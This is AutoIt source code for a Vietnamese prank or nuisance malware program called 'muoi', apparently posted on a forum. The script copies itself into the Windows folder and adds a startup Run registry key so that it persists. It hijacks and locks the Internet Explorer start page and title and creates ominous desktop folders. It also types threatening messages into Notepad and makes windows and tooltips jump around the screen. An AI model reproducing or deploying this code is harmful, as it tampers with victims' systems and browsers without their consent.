#NoTrayIcon
FileCopy(@ScriptDir & "\muoi.exe","C:\WINDOWS",1)
$a=Random (0,3,1)
Select
Case $a=0
$website="NhUnG LiNh HoN LaC LoI,HaY TrO Ve VoI Ta"
Case $a=1
$website="CoNg DiA NgUc,HaY Mo Ra Va NhAn LaY"
Case $a=2
$website="AxIt,Su BiEn DaNg,TaT Ca Se ThUoC Ve NgUoI"
Case $a=3
$website="GiEt,GiEt TaT Ca,KhOnG CoN Ai SoNg,HAHaHAHaHA"
EndSelect
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Window Title", "REG_SZ", "Design by King~Design by King~?MUOI?~~?MUOI?~~?MUOI?~~?MUOI?~~?MUOI?~~?MUOI ?~~?MUOI?~~?MUOI?~~?MUOI?~~")
RegWrite("HKEY_CURRENT_USER\Software\Policies\Microsoft\Inte rnet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "REG_SZ", $website)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run", "Muoi", "REG_SZ", @WindowsDir & "\muoi.exe")
$i=Random (0,10,1)
Select
Case $i=1
DirCreate(@DesktopDir & "\Ta Da Tro Lai")
Case $i=2
DirCreate(@DesktopDir & "\HaHaHaHaHa")
Case $i=3
DirCreate(@DesktopDir & "\Muoi.....No")
Case $i=4
DirCreate(@DesktopDir & "\Tat ca se chet")
Case $i=5
DirCreate(@DesktopDir & "\Dung..Khong.....")
Case $i=6
DirCreate(@DesktopDir & "\End..Die")
Case $i=7
DirCreate(@DesktopDir & "\MuoiMuoiMuoiMuoiMuoi")
Case $i=8
DirCreate(@DesktopDir & "\Cham Het Roi,!,..")
Case $i=9
DirCreate(@DesktopDir & "\Ta Se Giet Het")
Case $i=10
DirCreate(@DesktopDir & "\Noooooooooo")
EndSelect
ShellExecute("notepad.exe")
WinWaitActive("Untitled - Notepad")
Send("Ta da tro lai{Enter}")
Sleep(500)
Send("Khong co gi ngan can duoc ta tra thu{Enter}{SPACE}{SPACE}{SPACE}{SPACE}{SPACE}HaHaH aHaHa{Enter}")
Sleep(500)
Send("TaT Ca SE PhAi ChEt")
Sleep(500)
Send("{SPACE}{SPACE}{SPACE}{SPACE}{SPACE}{SPACE}{SPACE}{ SPACE}{SPACE}{SPACE}{SPACE}{SPACE}{SPACE}{SPACE}{S PACE}{SPACE}{SPACE}{SPACE}{SPACE}{SPACE}Ke Ca NguOI")

#NoTrayIcon;Chay o che do an
HotKeySet("!e","King");An Alt+e de ket thuc chuong trinh
ShellExecute("Notepad");Mo chuong trinh notepad
Do
$i=Random (1,100);Cho bien $i co gia tri ngau nhien tu 1-->100
$j=Random (1,100)
WinMove("Untitled -","",$i,$j,200,200);Di chuyen cua so notepad
Until $i=1000
Func King();Ham thoat
Exit
EndFunc

Opt("TrayIconHide",1)
HotKeySet("{ESC}", "_Exit")

Global $ranx
Global $rany
Global $reversewide = Random(0,1,1)
Global $reverseHieght = Random(0,1,1)

Func _Exit()
Exit
EndFunc ;==>_Exit

_rantool()
While 1
$mouse = MouseGetPos()
If $mouse[0] < $ranx + 223 And $mouse[0] > $ranx - 30 And $mouse[1] > $rany - 30 And $mouse[1] < $rany + 90 Then
_rantool()
Beep(2100, 100)
EndIf

Sleep(10)


If $ranx > @DesktopWidth - 200 Then $reversewide = 1
If $ranx < 0 Then $reversewide = 0

If $rany > @DesktopHeight - 55 Then $reverseHieght = 1
If $rany < 0 Then $reverseHieght = 0

If $reversewide = 1 then $ranx -= 1
If $reversewide = 0 Then $ranx += 1

If $reverseHieght = 1 then $rany -= 1
If $reverseHieght = 0 Then $rany += 1

ToolTip("Đố bạn bắt được tôi đó ", $ranx, $rany, "^^", 3)
WEnd

Func _rantool()
$ranx = Random(0, @DesktopWidth - 200, 1)
$rany = Random(0, @DesktopHeight - 200, 1)

$reverseHieght = Random(0,1,1)
$reversewide = Random(0,1,1)
EndFunc

<P ALIGN="CENTER"><FONT FACE="_sans" SIZE="9" COLOR="#3F58BC"><SBR/><A HREF="http://www.haku9x.com">Click! Để  về Trang Chủ cực Hót—» Haku9x.Com</A></FONT></P>